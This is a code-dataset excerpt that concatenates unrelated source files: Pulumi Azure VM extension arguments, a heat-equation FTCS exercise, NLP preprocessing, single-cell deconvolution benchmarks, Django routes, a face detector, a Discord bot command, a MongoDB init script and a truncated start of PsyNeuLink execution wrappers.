:param pulumi.Input[bool] auto_upgrade_minor_version: Indicates whether the extension should use a newer minor version if one is available at deployment time. Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property set to true.
:param pulumi.Input[str] force_update_tag: If a value is provided and is different from the previous value, the extension handler will be forced to update even if the extension configuration has not changed.
:param Any protected_settings: The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at all.
:param pulumi.Input[Sequence[pulumi.Input[str]]] provision_after_extensions: Collection of extension names after which this extension needs to be provisioned.
:param Any settings: Json formatted public settings for the extension.
"""
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "publisher", publisher)
pulumi.set(__self__, "type", type)
pulumi.set(__self__, "type_handler_version", type_handler_version)
if auto_upgrade_minor_version is not None:
pulumi.set(__self__, "auto_upgrade_minor_version", auto_upgrade_minor_version)
if force_update_tag is not None:
pulumi.set(__self__, "force_update_tag", force_update_tag)
if protected_settings is not None:
pulumi.set(__self__, "protected_settings", protected_settings)
if provision_after_extensions is not None:
pulumi.set(__self__, "provision_after_extensions", provision_after_extensions)
if settings is not None:
pulumi.set(__self__, "settings", settings)
@property
@pulumi.getter
def name(self) -> pulumi.Input[str]:
"""
The name of the extension.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: pulumi.Input[str]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def publisher(self) -> pulumi.Input[str]:
"""
The name of the extension handler publisher.
"""
return pulumi.get(self, "publisher")
@publisher.setter
def publisher(self, value: pulumi.Input[str]):
pulumi.set(self, "publisher", value)
@property
@pulumi.getter
def type(self) -> pulumi.Input[str]:
"""
Specifies the type of the extension; an example is "CustomScriptExtension".
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: pulumi.Input[str]):
pulumi.set(self, "type", value)
@property
@pulumi.getter(name="typeHandlerVersion")
def type_handler_version(self) -> pulumi.Input[str]:
"""
Specifies the version of the script handler.
"""
return pulumi.get(self, "type_handler_version")
@type_handler_version.setter
def type_handler_version(self, value: pulumi.Input[str]):
pulumi.set(self, "type_handler_version", value)
@property
@pulumi.getter(name="autoUpgradeMinorVersion")
def auto_upgrade_minor_version(self) -> Optional[pulumi.Input[bool]]:
"""
Indicates whether the extension should use a newer minor version if one is available at deployment time. Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property set to true.
"""
return pulumi.get(self, "auto_upgrade_minor_version")
@auto_upgrade_minor_version.setter
def auto_upgrade_minor_version(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "auto_upgrade_minor_version", value)
@property
@pulumi.getter(name="forceUpdateTag")
def force_update_tag(self) -> Optional[pulumi.Input[str]]:
"""
If a value is provided and is different from the previous value, the extension handler will be forced to update even if the extension configuration has not changed.
"""
return pulumi.get(self, "force_update_tag")
@force_update_tag.setter
def force_update_tag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "force_update_tag", value)
@property
@pulumi.getter(name="protectedSettings")
def protected_settings(self) -> Optional[Any]:
"""
The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at all.
"""
return pulumi.get(self, "protected_settings")
@protected_settings.setter
def protected_settings(self, value: Optional[Any]):
pulumi.set(self, "protected_settings", value)
@property
@pulumi.getter(name="provisionAfterExtensions")
def provision_after_extensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Collection of extension names after which this extension needs to be provisioned.
"""
return pulumi.get(self, "provision_after_extensions")
@provision_after_extensions.setter
def provision_after_extensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "provision_after_extensions", value)
@property
@pulumi.getter
def settings(self) -> Optional[Any]:
"""
Json formatted public settings for the extension.
"""
return pulumi.get(self, "settings")
@settings.setter
def settings(self, value: Optional[Any]):
pulumi.set(self, "settings", value)
@pulumi.input_type
class VaultCertificateArgs:
def __init__(__self__, *,
certificate_store: pulumi.Input[str],
certificate_url: pulumi.Input[str]):
"""
Describes a single certificate reference in a Key Vault, and where the certificate should reside on the VM.
:param pulumi.Input[str] certificate_store: For Windows VMs, specifies the certificate store on the Virtual Machine to which the certificate should be added. The specified certificate store is implicitly in the LocalMachine account. <br><br>For Linux VMs, the certificate file is placed under the /var/lib/waagent directory, with the file name <UppercaseThumbprint>.crt for the X509 certificate file and <UppercaseThumbprint>.prv for private key. Both of these files are .pem formatted.
:param pulumi.Input[str] certificate_url: This is the URL of a certificate that has been uploaded to Key Vault as a secret. For adding a secret to the Key Vault, see [Add a key or secret to the key vault](https://docs.microsoft.com/azure/key-vault/key-vault-get-started/#add). In this case, your certificate needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: <br><br> {<br> "data":"<Base64-encoded-certificate>",<br> "dataType":"pfx",<br> "password":"<<PASSWORD>>"<br>}
"""
pulumi.set(__self__, "certificate_store", certificate_store)
pulumi.set(__self__, "certificate_url", certificate_url)
@property
@pulumi.getter(name="certificateStore")
def certificate_store(self) -> pulumi.Input[str]:
"""
For Windows VMs, specifies the certificate store on the Virtual Machine to which the certificate should be added. The specified certificate store is implicitly in the LocalMachine account. <br><br>For Linux VMs, the certificate file is placed under the /var/lib/waagent directory, with the file name <UppercaseThumbprint>.crt for the X509 certificate file and <UppercaseThumbprint>.prv for private key. Both of these files are .pem formatted.
"""
return pulumi.get(self, "certificate_store")
@certificate_store.setter
def certificate_store(self, value: pulumi.Input[str]):
pulumi.set(self, "certificate_store", value)
@property
@pulumi.getter(name="certificateUrl")
def certificate_url(self) -> pulumi.Input[str]:
"""
This is the URL of a certificate that has been uploaded to Key Vault as a secret. For adding a secret to the Key Vault, see [Add a key or secret to the key vault](https://docs.microsoft.com/azure/key-vault/key-vault-get-started/#add). In this case, your certificate needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: <br><br> {<br> "data":"<Base64-encoded-certificate>",<br> "dataType":"pfx",<br> "password":"<<PASSWORD>>"<br>}
"""
return pulumi.get(self, "certificate_url")
@certificate_url.setter
def certificate_url(self, value: pulumi.Input[str]):
pulumi.set(self, "certificate_url", value)
@pulumi.input_type
class VaultSecretGroupArgs:
def __init__(__self__, *,
source_vault: pulumi.Input['SubResourceArgs'],
vault_certificates: pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]):
"""
Specifies set of certificates that should be installed onto the virtual machines.
:param pulumi.Input['SubResourceArgs'] source_vault: The relative URL of the Key Vault containing all of the certificates in VaultCertificates.
:param pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]] vault_certificates: The list of key vault references in SourceVault which contain certificates.
"""
pulumi.set(__self__, "source_vault", source_vault)
pulumi.set(__self__, "vault_certificates", vault_certificates)
@property
@pulumi.getter(name="sourceVault")
def source_vault(self) -> pulumi.Input['SubResourceArgs']:
"""
The relative URL of the Key Vault containing all of the certificates in VaultCertificates.
"""
return pulumi.get(self, "source_vault")
@source_vault.setter
def source_vault(self, value: pulumi.Input['SubResourceArgs']):
pulumi.set(self, "source_vault", value)
@property
@pulumi.getter(name="vaultCertificates")
def vault_certificates(self) -> pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]:
"""
The list of key vault references in SourceVault which contain certificates.
"""
return pulumi.get(self, "vault_certificates")
@vault_certificates.setter
def vault_certificates(self, value: pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]):
pulumi.set(self, "vault_certificates", value)
| 1.71875 | 2 |
T08/ex01.py | mariogarcc/comphy | 0 | 12764311 | from package import redact_ex
from package import solve_explicit_ode
import numpy as np
EXERCISE_01 = """\
Make a program that is able to graphically solve the equation
\u2202T/\u2202t = \u03B1 \u2202\u00B2T/\u2202x\u00B2 = 0 using the Forward in Time, Centered in Space (FTCS)
scheme with Dirichlet boundary conditions u_0 = 0 and u_L = 10.
+ Consider different initial conditions.
+ Consider a new boundary condition: u_L = sin(t/2)
+ Consider null flux boundary conditions.\
"""
redact_ex(EXERCISE_01, 1)
# computation parameters
slices = 20
itern = 1000
plot_frequency = 0.05
# differentiation parameters
deltat = 1e-3
deltax = 1e-1
# problem parameters
alpha = 1
# helper variable
s = alpha*deltat/deltax**2
# grid creation and initial conditions
tprev = np.zeros(slices+1); tpprev = np.zeros(slices+1)
tprev[0] = 0; tpprev[0] = 0
tprev[slices] = 10; tpprev[slices] = 10
initial_conditions = [tprev, tpprev]
# boundary conditions
def boundary_conditions(lap, ngr, grid):
slices = len(grid[0])-1
ngr[0] = 0
ngr[slices] = 10
egrid = [ngr] + [r for r in grid]
return egrid
# differentiation scheme
def ftcs(ngr, grid, s = s):
slices = len(grid[0])-1
for vl in range(1, slices):
ngr[vl] = \
grid[0][vl] + s*(grid[0][vl+1] - 2*grid[0][vl] + grid[0][vl-1])
return ngr
print("Computing...", end='\n\n')
solve_explicit_ode(ftcs, initial_conditions, boundary_conditions,
slices, itern, plot_frequency)
otprev = otpprev = np.zeros(slices+1)
otprev[8:12] = 5; otpprev[8:12] = 5
otprev[0] = 0; otpprev[0] = 0
otprev[slices] = 10; otpprev[slices] = 10
oinitial_conditions = [otprev, otpprev]
print("+ Computing...", end='\n\n')
solve_explicit_ode(ftcs, oinitial_conditions, boundary_conditions,
slices, itern, plot_frequency)
deltat = 1e-2
def oboundary_conditions(lap, ngr, grid, deltat = deltat):
slices = len(grid[0])-1
ngr[0] = 0
ngr[slices] = 10 * abs(np.cos((lap+1)*deltat/2))
egrid = [ngr] + [r for r in grid]
return egrid
# need to re-create the initial_conditions arrays
tprev = np.zeros(slices+1); tpprev = np.zeros(slices+1)
tprev[0] = 0; tpprev[0] = 0
tprev[slices] = 10; tpprev[slices] = 10
initial_conditions = [tprev, tpprev]
print("+ Computing...", end='\n\n')
solve_explicit_ode(ftcs, initial_conditions, oboundary_conditions,
slices, itern, plot_frequency)
deltat = 1e-3
def oboundary_conditions(lap, ngr, grid, deltat = deltat):
slices = len(grid[0])-1
ngr[0] = ngr[1]
ngr[slices] = ngr[slices-1]
egrid = [ngr] + [r for r in grid]
return egrid
otprev = otpprev = np.zeros(slices+1)
otprev[8:12] = 5; otpprev[8:12] = 5
otprev[0] = 0; otpprev[0] = 0
oinitial_conditions = [otprev, otpprev]
print("+ Computing...", end='\n\n')
solve_explicit_ode(ftcs, oinitial_conditions, oboundary_conditions,
slices, itern, plot_frequency)
| 3.109375 | 3 |
delft/textClassification/preprocess.py | tantikristanti/delft | 333 | 12764312 | import itertools
import regex as re
import numpy as np
# seed is fixed for reproducibility
np.random.seed(7)
from tensorflow import set_random_seed
set_random_seed(7)
from unidecode import unidecode
from delft.utilities.Tokenizer import tokenizeAndFilterSimple
from delft.utilities.bert.run_classifier_delft import DataProcessor
import delft.utilities.bert.tokenization as tokenization
from delft.utilities.bert.run_classifier_delft import InputExample
special_character_removal = re.compile(r'[^A-Za-z\.\-\?\!\,\#\@\% ]',re.IGNORECASE)
def to_vector_single(text, embeddings, maxlen=300):
"""
Given a string, tokenize it, then convert it to a sequence of word embedding
vectors with the provided embeddings, introducing <PAD> and <UNK> padding token
vector when appropriate
"""
tokens = tokenizeAndFilterSimple(clean_text(text))
window = tokens[-maxlen:]
# TBD: use better initializers (uniform, etc.)
x = np.zeros((maxlen, embeddings.embed_size), )
# TBD: padding should be left and which vector do we use for padding?
# and what about masking padding later for RNN?
for i, word in enumerate(window):
x[i,:] = embeddings.get_word_vector(word).astype('float32')
return x
def to_vector_elmo(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False):
"""
Given a list of tokens convert it to a sequence of word embedding
vectors based on ELMo contextualized embeddings
"""
subtokens = []
for i in range(0, len(tokens)):
local_tokens = []
for j in range(0, min(len(tokens[i]), maxlen)):
if lowercase:
local_tokens.append(lower(tokens[i][j]))
else:
local_tokens.append(tokens[i][j])
subtokens.append(local_tokens)
return embeddings.get_sentence_vector_only_ELMo(subtokens)
"""
if use_token_dump:
return embeddings.get_sentence_vector_ELMo_with_token_dump(tokens)
"""
def to_vector_bert(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False):
"""
Given a list of tokens convert it to a sequence of word embedding
vectors based on the BERT contextualized embeddings, introducing
padding token when appropriate
"""
subtokens = []
for i in range(0, len(tokens)):
local_tokens = []
for j in range(0, min(len(tokens[i]), maxlen)):
if lowercase:
local_tokens.append(lower(tokens[i][j]))
else:
local_tokens.append(tokens[i][j])
subtokens.append(local_tokens)
vector = embeddings.get_sentence_vector_only_BERT(subtokens)
return vector
def to_vector_simple_with_elmo(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False):
"""
Given a list of tokens convert it to a sequence of word embedding
vectors based on the concatenation of the provided static embeddings and
the ELMo contextualized embeddings, introducing <PAD> and <UNK>
padding token vector when appropriate
"""
subtokens = []
for i in range(0, len(tokens)):
local_tokens = []
for j in range(0, min(len(tokens[i]), maxlen)):
if lowercase:
local_tokens.append(lower(tokens[i][j]))
else:
local_tokens.append(tokens[i][j])
if len(tokens[i]) < maxlen:
for i in range(0, maxlen-len(tokens[i])):
local_tokens.append(" ")
subtokens.append(local_tokens)
return embeddings.get_sentence_vector_with_ELMo(subtokens)
def to_vector_simple_with_bert(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False):
"""
Given a list of tokens convert it to a sequence of word embedding
vectors based on the concatenation of the provided static embeddings and
the BERT contextualized embeddings, introducing padding token vector
when appropriate
"""
subtokens = []
for i in range(0, len(tokens)):
local_tokens = []
for j in range(0, min(len(tokens[i]), maxlen)):
if lowercase:
local_tokens.append(lower(tokens[i][j]))
else:
local_tokens.append(tokens[i][j])
if len(tokens[i]) < maxlen:
for i in range(0, maxlen-len(tokens[i])):
local_tokens.append(" ")
subtokens.append(local_tokens)
return embeddings.get_sentence_vector_with_BERT(subtokens)
def clean_text(text):
x_ascii = unidecode(text)
x_clean = special_character_removal.sub('',x_ascii)
return x_clean
def lower(word):
return word.lower()
def normalize_num(word):
return re.sub(r'[0-90123456789]', r'0', word)
class BERT_classifier_processor(DataProcessor):
"""
BERT data processor for classification
"""
def __init__(self, labels=None, x_train=None, y_train=None, x_test=None, y_test=None):
self.list_classes = labels
self.x_train = x_train
self.y_train = y_train
self.x_test = x_test
self.y_test = y_test
def get_train_examples(self, x_train=None, y_train=None):
"""See base class."""
if x_train is not None:
self.x_train = x_train
if y_train is not None:
self.y_train = y_train
examples, _ = self.create_examples(self.x_train, self.y_train)
return examples
def get_labels(self):
"""See base class."""
return self.list_classes
def get_test_examples(self, x_test=None, y_test=None):
"""See base class."""
if x_test is not None:
self.x_test = x_test
if y_test is not None:
self.y_test = y_test
examples, results = self.create_examples(self.x_test, self.y_test)
return examples, results
def create_examples(self, x_s, y_s=None):
examples = []
valid_classes = np.zeros((y_s.shape[0],len(self.list_classes)))
accumul = 0
for (i, x) in enumerate(x_s):
y = y_s[i]
guid = i
text_a = tokenization.convert_to_unicode(x)
#the_class = self._rewrite_classes(y, i)
ind, = np.where(y == 1)
the_class = self.list_classes[ind[0]]
if the_class is None:
#print(text_a)
continue
if the_class not in self.list_classes:
#the_class = 'other'
continue
label = tokenization.convert_to_unicode(the_class)
examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label))
valid_classes[accumul] = y
accumul += 1
return examples, valid_classes
def create_inputs(self, x_s, dummy_label='dummy'):
examples = []
# dummy label to avoid breaking the bert base code
label = tokenization.convert_to_unicode(dummy_label)
for (i, x) in enumerate(x_s):
guid = i
text_a = tokenization.convert_to_unicode(x)
examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label))
return examples
| 2.671875 | 3 |
src/scmodes/benchmark/deconvolution.py | aksarkar/scmodes | 3 | 12764313 | <filename>src/scmodes/benchmark/deconvolution.py
import functools as ft
import numpy as np
import pandas as pd
import rpy2.robjects.packages
import rpy2.robjects.pandas2ri
import scipy.special as sp
import scipy.stats as st
import sklearn.model_selection as skms
import sys
rpy2.robjects.pandas2ri.activate()
def nb_llik(x, mean, inv_disp):
return (x * np.log(mean / inv_disp) -
x * np.log(1 + mean / inv_disp) -
inv_disp * np.log(1 + mean / inv_disp) +
sp.gammaln(x + inv_disp) -
sp.gammaln(inv_disp) -
sp.gammaln(x + 1))
def score_gamma(x_train, x_test, **kwargs):
# This depends on tensorflow, which will fail on import when run on compute
# nodes without a GPU. We guard against this in evaluate_generalization by
# specifying `methods`.
import scqtl
onehot = np.ones((x_train.shape[0], 1))
size_factor = x_train.sum(axis=1).reshape(-1, 1)
design = np.zeros((x_train.shape[0], 1))
log_mu, log_phi, *_ = scqtl.tf.fit(
umi=x_train.astype(np.float32),
onehot=onehot.astype(np.float32),
design=design.astype(np.float32),
size_factor=size_factor.astype(np.float32),
learning_rate=1e-3,
max_epochs=30000)
return nb_llik(x_test, x_test.sum(axis=1, keepdims=True) * np.exp(log_mu), np.exp(-log_phi)).sum(axis=0)
def softplus(x):
return np.where(x > 30, x, np.log(1 + np.exp(x)))
def zinb_llik(x, mean, inv_disp, logodds):
case_zero = -softplus(-logodds) + softplus(nb_llik(x, mean, inv_disp) - logodds)
case_non_zero = -softplus(logodds) + nb_llik(x, mean, inv_disp)
return np.where(x < 1, case_zero, case_non_zero)
def score_point_gamma(x_train, x_test, **kwargs):
# This depends on tensorflow, which will fail on import when run on compute
# nodes without a GPU. We guard against this in evaluate_generalization by
# specifying `methods`.
import scqtl
onehot = np.ones((x_train.shape[0], 1))
size_factor = x_train.sum(axis=1).reshape(-1, 1)
init = scqtl.tf.fit(
umi=x_train.astype(np.float32),
onehot=onehot.astype(np.float32),
size_factor=size_factor.astype(np.float32),
learning_rate=1e-3,
max_epochs=30000)
log_mu, log_phi, logodds, *_ = scqtl.tf.fit(
umi=x_train.astype(np.float32),
onehot=onehot.astype(np.float32),
size_factor=size_factor.astype(np.float32),
learning_rate=1e-3,
max_epochs=30000,
warm_start=init[:3])
return zinb_llik(x_test, x_test.sum(axis=1, keepdims=True) * np.exp(log_mu), np.exp(-log_phi), logodds).sum(axis=0)
def _score_unimodal(train, test, train_size_factor, test_size_factor):
ashr = rpy2.robjects.packages.importr('ashr')
lam = train / train_size_factor
if np.isclose(lam.min(), lam.max()):
# No variation
return np.array([np.nan])
res0 = ashr.ash_workhorse(
# these are ignored by ash
pd.Series(np.zeros(train.shape)),
1,
outputlevel='fitted_g',
# numpy2ri doesn't DTRT, so we need to use pandas
lik=ashr.lik_pois(y=pd.Series(train), scale=train_size_factor, link='identity'),
mixsd=pd.Series(np.geomspace(lam.min() + 1e-8, lam.max(), 25)),
mode=pd.Series([lam.min(), lam.max()]))
res = ashr.ash_workhorse(
pd.Series(np.zeros(test.shape)),
1,
outputlevel='loglik',
lik=ashr.lik_pois(y=pd.Series(test), scale=test_size_factor, link='identity'),
fixg=True,
g=res0.rx2('fitted_g'))
return np.array(res.rx2('loglik'))
def score_unimodal(x_train, x_test, pool, **kwargs):
result = []
train_size_factor = pd.Series(x_train.sum(axis=1))
test_size_factor = pd.Series(x_test.sum(axis=1))
f = ft.partial(_score_unimodal, train_size_factor=train_size_factor,
test_size_factor=test_size_factor)
# np iterates over rows
result = pool.starmap(f, zip(x_train.T, x_test.T))
return np.array(result).ravel()
def _score_zief(train, test, train_size_factor, test_size_factor):
descend = rpy2.robjects.packages.importr('descend')
try:
res = descend.deconvSingle(pd.Series(train), scaling_consts=train_size_factor, verbose=False)
except:
# DESCEND refuses to run on some datasets (not enough non-zero counts, or
# not high enough mean count)
return np.nan
# DESCEND returns NA on errors
if tuple(res.rclass) != ('DESCEND',):
return np.nan
g = np.array(res.slots['distribution'])[:,:2]
# Don't marginalize over lambda = 0 for x > 0, because
# p(x > 0 | lambda = 0) = 0
llik = np.where(test > 0,
np.log(st.poisson(mu=test_size_factor * g[1:,0])
.pmf(test.reshape(-1, 1))
.dot(g[1:,1])),
np.log(st.poisson(mu=test_size_factor * g[:,0])
.pmf(test.reshape(-1, 1))
.dot(g[:,1]))).sum()
return llik
def score_zief(x_train, x_test, pool, **kwargs):
result = []
# numpy2ri doesn't DTRT, so we need to use pandas
train_size_factor = pd.Series(x_train.sum(axis=1))
test_size_factor = x_test.sum(axis=1).reshape(-1, 1)
f = ft.partial(_score_zief, train_size_factor=train_size_factor,
test_size_factor=test_size_factor)
result = pool.starmap(f, zip(x_train.T, x_test.T))
return np.array(result).ravel()
def _score_npmle(train, test, train_size_factor, test_size_factor, K=100):
ashr = rpy2.robjects.packages.importr('ashr')
lam = train / train_size_factor
grid = np.linspace(0, lam.max(), K + 1)
res0 = ashr.ash_workhorse(
# these are ignored by ash
pd.Series(np.zeros(train.shape)),
1,
outputlevel='fitted_g',
# numpy2ri doesn't DTRT, so we need to use pandas
lik=ashr.lik_pois(y=pd.Series(train), scale=train_size_factor, link='identity'),
g=ashr.unimix(pd.Series(np.ones(K) / K), pd.Series(grid[:-1]), pd.Series(grid[1:])))
res = ashr.ash_workhorse(
pd.Series(np.zeros(test.shape)),
1,
outputlevel='loglik',
lik=ashr.lik_pois(y=pd.Series(test), scale=test_size_factor, link='identity'),
fixg=True,
g=res0.rx2('fitted_g'))
return np.array(res.rx2('loglik'))
def score_npmle(x_train, x_test, pool, K=100, **kwargs):
result = []
train_size_factor = pd.Series(x_train.sum(axis=1))
test_size_factor = pd.Series(x_test.sum(axis=1))
f = ft.partial(_score_npmle, train_size_factor=train_size_factor,
test_size_factor=test_size_factor, K=K)
result = pool.starmap(f, zip(x_train.T, x_test.T))
return np.array(result).ravel()
def evaluate_deconv_generalization(x, pool, methods, **kwargs):
result = {}
train, val = skms.train_test_split(x, **kwargs)
for m in methods:
# Hack: get functions by name
result[m] = getattr(sys.modules[__name__], f'score_{m}')(train, val, pool=pool)
return pd.DataFrame.from_dict(result, orient='columns')
| 2.25 | 2 |
bookorbooks/book/api/urls.py | talhakoylu/SummerInternshipBackend | 1 | 12764314 | <filename>bookorbooks/book/api/urls.py
from book.api.views.book_page_views import BookPagesByBookIdAPIView
from book.api.views.reading_history_views import AddReadingHistoryAPIView, ReadingHistoryByChildAPIView, ReadingHistoryByChildIdAPIView, ReadingHistoryListAllAPIView
from book.api.views import AuthorDetailAPIView, AuthorListAPIView, BookDetailAPIView, BookLanguageListAPIView, BookLevelListAPIView, BookListAPIView, BooksPageListAPIView, CategoryListAPIView, CategoryDetailAPIView, CategoryDetailWithBooksAPIView
from django.urls import path
app_name = "book"
urlpatterns = [
path("category-list", CategoryListAPIView.as_view(), name="category-list"),
path("category-detail/<slug>", CategoryDetailAPIView.as_view(), name="category-detail"),
path("category-detail-with-books/<slug>", CategoryDetailWithBooksAPIView.as_view(), name="category-detail-with-books"),
path("book-level-list", BookLevelListAPIView.as_view(), name="book-level-list"),
path("book-language-list", BookLanguageListAPIView.as_view(), name="book-language-list"),
path("author-list", AuthorListAPIView.as_view(), name="author-list"),
path("author-detail/<slug>", AuthorDetailAPIView.as_view(), name="author-detail"),
path("book-list", BookListAPIView.as_view(), name="book-list"),
path("book-detail/<slug>", BookDetailAPIView.as_view(), name="book-detail"),
path("books-page-list", BooksPageListAPIView.as_view(), name="books-page-list"),
path("book-pages-by-book-id/<book_id>", BookPagesByBookIdAPIView.as_view(), name="book_page_by_book_id"),
path("reading-history-list", ReadingHistoryListAllAPIView.as_view(), name="reading_history_list"),
path("reading-history-list-by-child", ReadingHistoryByChildAPIView.as_view(), name="reading_history_list_by_child"),
path("reading-history-list/<child_id>", ReadingHistoryByChildIdAPIView.as_view(), name="reading_history_list_by_child_id"),
path("add-reading-history-record", AddReadingHistoryAPIView.as_view(), name="reading_history_add"),
]
| 2.203125 | 2 |
AI/face_detector.py | Vahegian/GIANT-ROBOT | 2 | 12764315 | import dlib
if dlib.cuda.get_num_devices()>=1:
print("Enabeling CUDA")
dlib.DLIB_USE_CUDA = True
dlib.USE_AVX_INSTRUCTIONS = True
dlib.DLIB_USE_BLAS, dlib.DLIB_USE_LAPACK, dlib.USE_NEON_INSTRUCTIONS = True, True, True
print(dlib.DLIB_USE_CUDA, dlib.USE_AVX_INSTRUCTIONS, dlib.DLIB_USE_BLAS, dlib.DLIB_USE_LAPACK, dlib.USE_NEON_INSTRUCTIONS)
import face_recognition
import os
import cv2
KNOWN_FACES_DIR = 'private'
TOLERANCE = 0.6
FRAME_THICKNESS = 3
FONT_THICKNESS = 2
MODEL = 'cnn' # default: 'hog', other one can be 'cnn' - CUDA accelerated (if available) deep-learning pretrained model
class FaceDetector():
def __init__(self):
super().__init__()
self.known_faces, self.known_names = self.explore_known_faces()
print(len(self.known_faces), len(self.known_names))
def explore_known_faces(self):
print('Loading known faces...')
known_faces = []
known_names = []
# We oranize known faces as subfolders of KNOWN_FACES_DIR
# Each subfolder's name becomes our label (name)
for name in os.listdir(KNOWN_FACES_DIR):
# Next we load every file of faces of known person
for filename in os.listdir(f'{KNOWN_FACES_DIR}/{name}'):
# Load an image
image = face_recognition.load_image_file(f'{KNOWN_FACES_DIR}/{name}/{filename}')
# Get 128-dimension face encoding
# Always returns a list of found faces, for this purpose we take first face only (assuming one face per image as you can't be twice on one image)
try:
encoding = face_recognition.face_encodings(image)[0]
# Append encodings and name
known_faces.append(encoding)
known_names.append(name)
except Exception as e:
os.remove(f'{KNOWN_FACES_DIR}/{name}/{filename}')
print(str(e), f"\nremoved {KNOWN_FACES_DIR}/{name}/{filename}")
return known_faces, known_names
def get_face(self, image):
image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
locations = face_recognition.face_locations(image, model=MODEL)
encodings = face_recognition.face_encodings(image, locations)
for face_encoding, face_location in zip(encodings, locations):
results = face_recognition.compare_faces(self.known_faces, face_encoding, TOLERANCE)
match = None
if True in results: # If at least one is true, get a name of first of found labels
match = self.known_names[results.index(True)]
# print(f' - {match} from {results}')
# Each location contains positions in order: top, right, bottom, left
top_left = [face_location[0], face_location[3]]
bottom_right = [face_location[2], face_location[1]]
return top_left, bottom_right, match
return [0,0],[0,0], "Unknown" | 2.75 | 3 |
django_project/autodidacticism/blog/migrations/0002_papermodel.py | MatthewTe/django_postings_project | 0 | 12764316 | <gh_stars>0
# Generated by Django 3.1.4 on 2020-12-23 20:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='PaperModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('paper_title', models.CharField(max_length=50, verbose_name='Paper Title')),
('upload_date', models.DateTimeField(auto_now=True)),
('published_date', models.DateTimeField(blank=True, null=True, verbose_name='Published Date')),
('authors', models.CharField(max_length=100, null=True, verbose_name='Authors')),
('paper_description', models.CharField(max_length=200, verbose_name='Report Description')),
('paper_category', models.CharField(choices=[('FinTech & Investing', 'fintech_investing'), ('Machine Learning', 'machine_learning'), ('Computational Biology', 'computational_biology'), ('Data Engineering', 'data_engineering')], max_length=50, verbose_name='Paper Category')),
('paper', models.FileField(upload_to='papers/', verbose_name='Paper PDF')),
],
options={
'verbose_name_plural': 'Papers',
'ordering': ['-upload_date'],
},
),
]
| 1.84375 | 2 |
react.py | viktorg1/discordpy-scripts | 1 | 12764317 | from discord.ext import commands
bot = commands.Bot(command_prefix=',')
@bot.command()
async def react(ctx, id, emoji):
message = await ctx.fetch_message(id)
await message.add_reaction(emoji)
# Usage: ,react [MESSAGE_ID] [EMOJI] | 2.4375 | 2 |
init_db.py | nccr-itmo/FEDOT.Web | 23 | 12764318 | <filename>init_db.py<gh_stars>10-100
import os
import pymongo
from dotenv import load_dotenv
from app.singletons.db_service import DBServiceSingleton
from init.init_cases import create_default_cases
from init.init_history import create_default_history
from init.init_pipelines import create_default_pipelines
if __name__ == "__main__":
load_dotenv("mongo_conn_string.env")
env = os.getenv('MONGO_CONN_STRING')
print(env)
client = pymongo.MongoClient(env)
db = client.get_default_database()
DBServiceSingleton(db)
create_default_cases()
create_default_pipelines()
create_default_history()
| 2.046875 | 2 |
psyneulink/core/llvm/execution.py | bdsinger/PsyNeuLink | 0 | 12764319 | # Princeton University licenses this file to You under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License. You may obtain a copy of the License at:
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed
# on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and limitations under the License.
# ********************************************* Binary Execution Wrappers **************************************************************
from psyneulink.core.globals.utilities import NodeRole
import copy, ctypes
from collections import defaultdict
import numpy as np
from .builder_context import *
from . import helpers, jit_engine
from .debug import debug_env
__all__ = ['CompExecution', 'FuncExecution', 'MechExecution']
def _convert_ctype_to_python(x):
if isinstance(x, ctypes.Structure):
return [_convert_ctype_to_python(getattr(x, field_name)) for field_name, _ in x._fields_]
if isinstance(x, ctypes.Array):
return [_convert_ctype_to_python(num) for num in x]
if isinstance(x, ctypes.c_double):
return x.value
if isinstance(x, (float, int)):
return x
assert False, "Don't know how to convert: {}".format(x)
def _tupleize(x):
try:
return tuple(_tupleize(y) for y in x)
except TypeError:
return x if x is not None else tuple()
class CUDAExecution:
def __init__(self, buffers=['param_struct', 'context_struct']):
for b in buffers:
setattr(self, "_buffer_cuda_" + b, None)
self._uploaded_bytes = 0
self._downloaded_bytes = 0
self.__cuda_out_buf = None
self.__debug_env = debug_env
self.__vo_ty = None
def __del__(self):
if "cuda_data" in self.__debug_env:
try:
name = self._bin_func.name
except:
name = self._composition.name
print("{} CUDA uploaded: {}".format(name, self._uploaded_bytes))
print("{} CUDA downloaded: {}".format(name, self._downloaded_bytes))
@property
def _vo_ty(self):
if self.__vo_ty is None:
self.__vo_ty = self._bin_func.byref_arg_types[3]
if len(self._execution_ids) > 1:
self.__vo_ty = self.__vo_ty * len(self._execution_ids)
return self.__vo_ty
def _get_ctype_bytes(self, data):
# Return dummy buffer. CUDA does not handle 0 size well.
